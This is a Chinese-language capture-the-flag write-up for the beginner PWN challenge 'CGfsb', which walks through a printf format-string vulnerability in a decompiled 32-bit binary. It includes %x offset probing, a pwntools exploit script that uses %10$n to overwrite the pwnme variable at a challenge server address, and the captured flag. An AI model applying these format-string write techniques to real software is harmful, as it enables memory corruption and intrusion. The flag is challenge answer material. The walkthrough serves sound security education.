攻防世界-wp-PWN-新手区-7-CGfsb

题目来源:

CGCTF

题目描述:

菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用

题目场景:

111.200.241.244:40185

题目附件:

e41a0f684d0e497f87bb309f91737e4d

题目思路:

格式化字符串漏洞视频讲解,printf格式化字符串漏洞原理与利用

构造payload,在格式化字符串中包含想要写入的地址,此时该地址会随格式化字符串放在栈上,然后用格式化字符串的%K$n来实现改写功能。

解题过程:

拿到程序后,我们首先checksec一下,发现是32位,保护开启了CANNARY和NX,载入IDA,找到main函数,F5反编译得到伪C代码:

int __cdecl main(int argc, const char **argv, const char **envp){
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]
  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 ){
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else{
    puts("Thank you!");
  }
  return 0;
}

当pwnme=8的时候执行system函数,显示出flag。一般printf的参数是:格式化字符串 + 参数1 + 参数2 …。如果后面的参数数量对应不上格式化字符串中需要的参数,会自动从栈顶获取对应的参数。这样我们就可以根据输入的字符离栈顶的偏移再次找到它,最后利用%k$n将其解析为地址,然后改变地址上存储的数据,达到内存覆盖。

攻防世界-wp-PWN-新手区-7-CGfsb_第1张图片

输入“AAAAAAA%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x” 之后,因为后面没有对应%x的参数,所以直接从栈顶开始获取参数,到第10个%x获取到41414141,查询ASCII表发现是输入的信息的开头的AAAA

或者通过gdb调试,利用printf的漏洞,来确定输入的内容是格式化字符串第几个参数

在这里插入图片描述

找到pwnme的位置,经过32位编码转换,是4位

.bss:0804A068 pwnme           dd ?                    ; DATA XREF: main+105↑r

接下来利用%k$n写入,在格式化字符串中,"%s"、"%d" 等类型的符号叫符号说明,这里有几个冷门的符号说明:

攻防世界-wp-PWN-新手区-7-CGfsb_第2张图片

解释一下%10$n,找到格式化字符串后的第10个参数,将参数解析为地址,将已经输出的字节长度写入此地址,脚本:

from pwn import *
#io = process("./CGfsb")
io = remote('111.200.241.244',40185)
pwnme_addr = 0x804A068
payload = p32(pwnme_addr) + 'A' * 4 + '%10$n';#4位地址+4位字符输出组成8位,利用%k$n赋到pwnme地址上,使pwnme=8
io.sendlineafter("please tell me your name:\n","aaaa")
io.sendlineafter("leave your message please:\n",payload)
io.interactive()

cyberpeace{3f49e5587bdf9b3537041be32468aa17}

你可能感兴趣的:(pwn,安全)